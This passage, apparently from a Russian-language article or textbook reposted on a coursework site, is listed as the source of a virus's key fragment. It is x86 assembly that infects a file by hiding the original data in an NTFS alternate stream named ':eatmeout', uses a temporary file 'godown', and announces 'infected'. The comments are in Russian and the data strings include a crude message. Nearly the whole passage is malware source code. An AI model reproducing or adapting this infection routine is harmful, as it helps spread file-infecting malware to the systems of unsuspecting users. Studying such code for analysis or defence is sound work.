тут не помешает вставить проверку
xor eax,eax
inc eax
; тут не помешает вставить проверку dst на заражение
; переименовываем dst в godown
push godown
push ebp
call
[RenameFile]
; копируем в godown основной поток dst
push eax
push ebp
push buf
call [CopyFile]
; добавляем к своему имени имя NTFS-потока
mov esi, ebp
mov edi, buf
copy_rool:
lodsb
stosb
test al,al
jnz copy_rool
mov esi, code_name
dec edi
copy_rool2:
lodsb
stosb
test al,al
jnz copy_rool2
; копируем godown в dst:eatout
push eax
push buf
push godown
call [CopyFile]
; тут не помешает добавить коррекцию длины заражаемого файла,
; удаляем godown
push godown
call [DeleteFile]
; выводим диагностическое сообщение,
; подтверждающие успешность заражения файла
push 0
push aInfected
push ebp
push 0
call [MessageBox]
; выход из вируса
go2exit:
push 0
call [ExitProcess]
section '.data' data readable writeable
godown db "godown",0 ; имя временного файла
code_name db ":eatmeout",0 ; имя потока, в котором будет…
code_name_end: ; …сохранено основное тело
; различные текстовые строки, выводимые вирусом
aInfected db "infected",0
aHello db "hello, bitch, fuck them all! (c) mylene farmer -->"
; различные буфера для служебных целей
buf rb
1000
xxx rb
1000
Листинг 1 исходный текст ключевого фрагмента вируса
Содержание Назад Вперед
Forekc.ru
Рефераты, дипломы, курсовые, выпускные и квалификационные работы, диссертации, учебники, учебные пособия, лекции, методические пособия и рекомендации, программы и курсы обучения, публикации из профильных изданий